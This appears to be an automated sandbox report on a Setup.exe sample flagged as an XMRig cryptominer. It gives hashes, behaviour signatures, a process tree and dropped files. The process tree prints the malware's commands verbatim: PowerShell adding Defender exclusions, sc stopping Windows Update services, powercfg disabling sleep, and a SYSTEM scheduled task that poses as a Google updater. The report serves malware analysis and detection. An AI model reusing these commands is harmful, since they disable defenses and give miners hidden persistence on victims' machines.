Analysis

  • max time kernel
    150s
  • max time network
    142s
  • platform
    windows7_x64
  • resource
    win7-20240705-en
  • resource tags

    arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
  • submitted
    11-07-2024 12:37

General

  • Target

    Setup.exe

  • Size

    5.6MB

  • MD5

    fe3aade85026dd848fdf2f63952ff734

  • SHA1

    09d5fd71d993050b588cc79544a6bf243d6f8ab4

  • SHA256

    8345803c6780d770d0ea3df50d6c06d6b1113e7316b3d93dbea7e54a9fdcd58c

  • SHA512

    db089fde7d6806fa929e0ec2c48bfcb84c7e47d01ddf45380d3681d988947222d938e0d15a9cb3d69975262fcc1508582f58b4cf22dd891cfaf3f45e6afc0bb8

  • SSDEEP

    98304:ld+0JWUJGRDGQ8kIsmAYrvllcL0QH3YRjdT3i14b60n70p7hr/Bazr3AT:lQRV2lkeBxV7E7hr/BUTA

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 11 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 12 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 2 IoCs
  • Stops running service(s) 4 TTPs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Power Settings 1 TTPs 10 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 2 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 14 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1220
      • C:\Users\Admin\AppData\Local\Temp\Setup.exe
        "C:\Users\Admin\AppData\Local\Temp\Setup.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Drivers directory
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:2696
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2708
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2836
        • C:\Windows\System32\sc.exe
          sc stop UsoSvc
          3⤵
          • Launches sc.exe
          PID:2720
        • C:\Windows\System32\sc.exe
          sc stop WaaSMedicSvc
          3⤵
          • Launches sc.exe
          PID:2600
        • C:\Windows\System32\sc.exe
          sc stop wuauserv
          3⤵
          • Launches sc.exe
          PID:2860
        • C:\Windows\System32\sc.exe
          sc stop bits
          3⤵
          • Launches sc.exe
          PID:2548
        • C:\Windows\System32\sc.exe
          sc stop dosvc
          3⤵
          • Launches sc.exe
          PID:2572
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
        2⤵
        • Power Settings
        • Suspicious use of WriteProcessMemory
        PID:2624
        • C:\Windows\System32\powercfg.exe
          powercfg /x -hibernate-timeout-ac 0
          3⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:2320
        • C:\Windows\System32\powercfg.exe
          powercfg /x -hibernate-timeout-dc 0
          3⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:784
        • C:\Windows\System32\powercfg.exe
          powercfg /x -standby-timeout-ac 0
          3⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:1036
        • C:\Windows\System32\powercfg.exe
          powercfg /x -standby-timeout-dc 0
          3⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:1296
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#lbjsmh#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2484
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1624
      • C:\Windows\System32\schtasks.exe
        C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
        2⤵
          PID:2872
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2800
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1432
          • C:\Windows\System32\sc.exe
            sc stop UsoSvc
            3⤵
            • Launches sc.exe
            PID:1936
          • C:\Windows\System32\sc.exe
            sc stop WaaSMedicSvc
            3⤵
            • Launches sc.exe
            PID:1512
          • C:\Windows\System32\sc.exe
            sc stop wuauserv
            3⤵
            • Launches sc.exe
            PID:1412
          • C:\Windows\System32\sc.exe
            sc stop bits
            3⤵
            • Launches sc.exe
            PID:2448
          • C:\Windows\System32\sc.exe
            sc stop dosvc
            3⤵
            • Launches sc.exe
            PID:2252
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
          2⤵
          • Power Settings
          • Suspicious use of WriteProcessMemory
          PID:2276
          • C:\Windows\System32\powercfg.exe
            powercfg /x -hibernate-timeout-ac 0
            3⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:1940
          • C:\Windows\System32\powercfg.exe
            powercfg /x -hibernate-timeout-dc 0
            3⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:1972
          • C:\Windows\System32\powercfg.exe
            powercfg /x -standby-timeout-ac 0
            3⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:2456
          • C:\Windows\System32\powercfg.exe
            powercfg /x -standby-timeout-dc 0
            3⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:3000
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#lbjsmh#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
          2⤵
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2096
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:3012
        • C:\Windows\System32\conhost.exe
          C:\Windows\System32\conhost.exe
          2⤵
            PID:1720
          • C:\Windows\explorer.exe
            C:\Windows\explorer.exe
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2188
        • C:\Windows\system32\taskeng.exe
          taskeng.exe {092633AD-CB8E-4772-83DE-5F5E7464E04E} S-1-5-18:NT AUTHORITY\System:Service:
          1⤵
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:2284
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Drops file in Drivers directory
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1068

        Network

        MITRE ATT&CK Enterprise v15

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        Downloads

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

          Filesize

          7KB

          MD5

          c644ad8a2d89e73121b73d85450ed40f

          SHA1

          09b95e691390c053cd0b59a1be802d40d830203c

          SHA256

          89d1d194cd074d51cb323672873d451fc44723962234edf1d0ffa8bc2b7ba0c6

          SHA512

          711df1e51744c5cce81532295b79b398152bfbbcb9ca4cb8753af4efa7efe0dd0e2dcf8ab8d4055a05aaf9ae2e931fbdce91ee19298bb9bf18103ada6516a6d7

        • C:\Windows\System32\drivers\etc\hosts

          Filesize

          2KB

          MD5

          2b19df2da3af86adf584efbddd0d31c0

          SHA1

          f1738910789e169213611c033d83bc9577373686

          SHA256

          58868a299c5cf1167ed3fbc570a449ecd696406410b24913ddbd0f06a32595bd

          SHA512

          4a1831f42a486a0ad2deef3d348e7220209214699504e29fdfeb2a6f7f25ad1d353158cd05778f76ef755e77ccd94ce9b4a7504039e439e4e90fa7cde589daa6

        • \Program Files\Google\Chrome\updater.exe

          Filesize

          5.6MB

          MD5

          fe3aade85026dd848fdf2f63952ff734

          SHA1

          09d5fd71d993050b588cc79544a6bf243d6f8ab4

          SHA256

          8345803c6780d770d0ea3df50d6c06d6b1113e7316b3d93dbea7e54a9fdcd58c

          SHA512

          db089fde7d6806fa929e0ec2c48bfcb84c7e47d01ddf45380d3681d988947222d938e0d15a9cb3d69975262fcc1508582f58b4cf22dd891cfaf3f45e6afc0bb8

        • memory/1068-35-0x000000013F820000-0x000000013FDBF000-memory.dmp

          Filesize

          5.6MB

        • memory/1068-27-0x000000013F820000-0x000000013FDBF000-memory.dmp

          Filesize

          5.6MB

        • memory/1720-41-0x0000000140000000-0x000000014002A000-memory.dmp

          Filesize

          168KB

        • memory/1720-37-0x0000000140000000-0x000000014002A000-memory.dmp

          Filesize

          168KB

        • memory/2188-42-0x0000000140000000-0x00000001407EF000-memory.dmp

          Filesize

          7.9MB

        • memory/2188-48-0x0000000140000000-0x00000001407EF000-memory.dmp

          Filesize

          7.9MB

        • memory/2188-58-0x0000000140000000-0x00000001407EF000-memory.dmp

          Filesize

          7.9MB

        • memory/2188-56-0x0000000140000000-0x00000001407EF000-memory.dmp

          Filesize

          7.9MB

        • memory/2188-54-0x0000000140000000-0x00000001407EF000-memory.dmp

          Filesize

          7.9MB

        • memory/2188-52-0x0000000140000000-0x00000001407EF000-memory.dmp

          Filesize

          7.9MB

        • memory/2188-50-0x0000000140000000-0x00000001407EF000-memory.dmp

          Filesize

          7.9MB

        • memory/2188-46-0x0000000140000000-0x00000001407EF000-memory.dmp

          Filesize

          7.9MB

        • memory/2188-44-0x0000000140000000-0x00000001407EF000-memory.dmp

          Filesize

          7.9MB

        • memory/2188-40-0x0000000140000000-0x00000001407EF000-memory.dmp

          Filesize

          7.9MB

        • memory/2188-38-0x0000000140000000-0x00000001407EF000-memory.dmp

          Filesize

          7.9MB

        • memory/2188-36-0x0000000000410000-0x0000000000430000-memory.dmp

          Filesize

          128KB

        • memory/2484-20-0x000000001B470000-0x000000001B752000-memory.dmp

          Filesize

          2.9MB

        • memory/2484-21-0x0000000001F80000-0x0000000001F88000-memory.dmp

          Filesize

          32KB

        • memory/2696-0-0x000000013FAF0000-0x000000014008F000-memory.dmp

          Filesize

          5.6MB

        • memory/2696-23-0x000000013FAF0000-0x000000014008F000-memory.dmp

          Filesize

          5.6MB

        • memory/2708-5-0x000007FEF473E000-0x000007FEF473F000-memory.dmp

          Filesize

          4KB

        • memory/2708-9-0x000007FEF4480000-0x000007FEF4E1D000-memory.dmp

          Filesize

          9.6MB

        • memory/2708-10-0x000007FEF4480000-0x000007FEF4E1D000-memory.dmp

          Filesize

          9.6MB

        • memory/2708-13-0x000007FEF4480000-0x000007FEF4E1D000-memory.dmp

          Filesize

          9.6MB

        • memory/2708-12-0x000007FEF4480000-0x000007FEF4E1D000-memory.dmp

          Filesize

          9.6MB

        • memory/2708-7-0x000007FEF4480000-0x000007FEF4E1D000-memory.dmp

          Filesize

          9.6MB

        • memory/2708-8-0x0000000002190000-0x0000000002198000-memory.dmp

          Filesize

          32KB

        • memory/2708-6-0x000000001B5C0000-0x000000001B8A2000-memory.dmp

          Filesize

          2.9MB

        • memory/2708-11-0x000007FEF4480000-0x000007FEF4E1D000-memory.dmp

          Filesize

          9.6MB